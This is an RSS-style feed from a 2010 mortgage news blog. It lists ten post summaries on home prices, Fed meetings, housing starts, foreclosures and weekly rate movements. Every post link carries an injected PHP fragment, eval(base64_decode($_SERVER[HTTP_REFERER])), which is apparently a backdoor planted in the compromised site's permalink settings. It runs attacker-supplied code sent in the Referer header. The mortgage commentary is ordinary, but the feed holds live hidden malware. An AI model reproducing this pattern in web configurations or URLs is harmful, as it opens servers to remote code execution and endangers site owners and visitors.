http://themortgageminuteblog.com Solid Mortgage Information For The Educated Consumer Fri, 30 Apr 2010 13:08:39 +0000 http://backend.userland.com/rss092 en Earlier this week, Standard & Poors released its February Case-Shiller Index, a home price tracker for select metropolitan areas.  Overwhelmingly, home values fell in the 20 markets tracked by the Case-Shiller. Only San Diego showed a modest increase.  The other 19 markets averaged a 1.23 percent decline between January and February. However, ... http://themortgageminuteblog.com/2010/04/30/the-headlines-were-overly-rosy-on-february%e2%80%99s-case-shiller-index/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The Federal Reserve adjourns from a scheduled, 2-day meeting today.  It’s one of 8 scheduled Fed meetings for 2010. Upon adjournment, Fed Chairman Ben Bernanke & Co. will release a formal statement to the market. In it, the Fed is expected to announce “no change” in the Fed Funds Rate. The Fed ... http://themortgageminuteblog.com/2010/04/28/the-fed-adjourns-from-a-2-day-meeting-today-and-what-it-could-mean-for-mortgage-rates/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The sales of newly-built homes soared in March, even more than what was expected. But the news may not be as glowing as what the media is telling us. Take a look at the headlines from last Friday: Sales of new homes rocketed up 27 percent in March (WaPo) New-home sales rise fastest ... http://themortgageminuteblog.com/2010/04/27/new-homes-sales-were-strong-in-march-but-not-as-strong-as-the-news-would-have-you-believe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Mortgage markets worsened last week in see-saw trading. By the time Friday’s market closed, mortgage rates in Connecticut and across the country were higher across the board, ARMs, fixed rates, FHA and conventional. The biggest stories of last week were actually the non-stories.  First, the ash cloud from Iceland’s Eyjafjallajökull volcano dissipated, ... http://themortgageminuteblog.com/2010/04/26/mortgage-rates-this-week-14/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Existing Home Sales rose in March, as expected. U.S. home buyers closed on 7 percent more homes as compared to February. Furthermore, versus March 2009 — a month many people equate to the low point of the U.S. economy — sales volume was up 16 percent. “Existing home sales” is the technical ... http://themortgageminuteblog.com/2010/04/23/home-resales-boom-into-the-end-of-the-tax-credit-home-values-seen-rising/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Mortgage rates and home affordability have improved lately, thanks to an unlikely ally — Mother Nature. In the 7 days since Iceland’s Eyjafjallajökull erupted, ash clouds have grounded planes, disrupted businesses, and stranded exports in warehouses worldwide. It’s a drag on commerce that’s spilled over onto Wall Street. As experts debate the ... http://themortgageminuteblog.com/2010/04/21/how-iceland%e2%80%99s-volcanoes-are-helping-mortgage-rates-fall/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ After a strong March showing and a surprise upward-revision for February, Housing Starts are once again, trending better. It’s yet another signal that the housing market in Connecticut and nationwide is stabilizing. A Housing Start is a new home on which construction has started, over the last 6 months; home builders are ... http://themortgageminuteblog.com/2010/04/20/housing-starts-data-hints-that-housing-may-continue-to-expand-even-after-the-tax-credit-expires/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Mortgage markets improved last week for the second week in a row, also for the second week in a row, rates were down on “safe haven” buying — just not for the same safe haven reasons as before. If you’ll remember, safe haven buying is when investors sense market risk, then ... http://themortgageminuteblog.com/2010/04/19/mortgage-rates-this-week-13/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Foreclosure filings rose close to 20 percent nationwide last month versus February, according to foreclosure-tracking firm RealtyTrac.com, and for the 13th straight month, total filings topped 300,000. In addition, bank repossessions reached an all-time, quarterly record. Through the first three months of 2010, banks reclaimed more than 257,000 homes. Nonetheless, 4 states ... http://themortgageminuteblog.com/2010/04/15/how-to-buy-bank-owned-homes-in-a-period-of-rising-inventory/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The federal home buyer tax credit expires April 30 and the deadline is sparking a home sale surge. It figures to burden real estate, mortgage and title offices nationwide over the next 60 days so plan your closing date accordingly. Especially because the last Friday in May is the Friday before Memorial ... http://themortgageminuteblog.com/2010/04/14/why-you-shouldn%e2%80%99t-schedule-your-closing-for-may-28-2010/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/